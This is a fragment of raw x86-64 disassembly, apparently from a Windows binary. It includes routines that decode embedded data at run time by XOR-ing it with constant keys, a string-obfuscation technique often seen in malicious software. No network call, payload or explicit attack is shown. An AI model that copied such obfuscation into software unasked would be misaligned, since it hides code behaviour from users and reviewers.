mov byte [rcx + 0x2b], al
mov al, byte [rsp + 0x31c]
mov byte [rcx + 0x2c], al
mov rsi, qword [rsp + 0x790]
mov rbx, qword [rsp + 0x7a0]
mov edx, 0x2d
mov r8, rsi
mov r9, rbx
call fcn.1400015e0
lea rax, [0x14002536a]
mov qword [rsp + 0x2f0], rax
mov rcx, qword [rsp + 0x2f0]
movabs rax, 0x934ffd7a595b689e
mov qword [rsp + 0x2f0], rax
mov rdx, qword [rsp + 0x2f0]
call fcn.140001c4c
xorps xmm0, xmm0
movaps xmmword [rsp + 0x310], xmm0
movaps xmmword [rsp + 0x300], xmm0
movaps xmmword [rsp + 0x2f0], xmm0
xor ecx, ecx
lea rdx, [0x1400258aa]
cmp rcx, 0x2f
ja 0x140003361
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2f0], r8
add rcx, 8
jmp 0x140003345
mov al, byte [rax + 0x30]
xor al, 0x92
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmm1, xmmword [rsp + 0x300]
movaps xmm2, xmmword [rsp + 0x310]
lea rcx, [rsp + 0x150]
movaps xmmword [rcx], xmm0
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx + 0x20], xmm2
mov byte [rcx + 0x30], al
mov edx, 0x31
mov r8, rsi
mov r9, rbx
call fcn.1400015e0
mov rdx, qword [rsp + 0x798]
mov rcx, rsi
call fcn.14000772c
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
call fcn.14000c9be
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.14000772c
mov rcx, qword [rsp + 0x138]
mov rdx, qword [rsp + 0x140]
call fcn.14000c9be
movaps xmm6, xmmword [rsp + 0x900]
add rsp, 0x918
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx ebp, byte [rax + 6]
movzx r15d, word [rax + 4]
xor r15d, 0xf051
xor bpl, 0x4e
mov r12d, dword [rsp + 0x2f0]
mov r14d, 7
mov ecx, 7
call fcn.14000773c
mov rdi, rax
mov rsi, rdx
mov byte [rax + 6], bpl
mov word [rax + 4], r15w
mov dword [rax], r12d
mov rcx, qword [0x14002e078]
mov rdx, qword [0x14002e080]
call fcn.14000c9be
mov qword [0x14002e078], rdi
mov qword [0x14002e080], rsi
mov qword [0x14002e088], 7
mov eax, 2
xchg qword [0x14002e070], rax
jmp 0x140002942
call fcn.1400017a8
mov rcx, r15
mov rdx, r14
call fcn.1400159bd
ud2
mov r8, qword [rsp + 0x2f0]
mov r9, qword [rsp + 0x300]
cmp r9, r8
jae 0x1400034ba
mov rcx, rdi
mov rdx, rbx
call fcn.14000a906
ud2
test r8, r8
jne 0x1400034d2
test r9, r9
je 0x1400034e6
cmp r9, rbx
jae 0x1400034e4
cmp byte [rdi + r9], 0xbf
jle 0x1400034ad
jmp 0x1400034e6
cmp r8, rbx
jae 0x1400034e0
cmp byte [rdi + r8], 0xc0
jl 0x1400034ad
jmp 0x1400034bf
jne 0x1400034ad
jmp 0x1400034bf
jne 0x1400034ad
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.14000772c
jmp case.0x140002920.0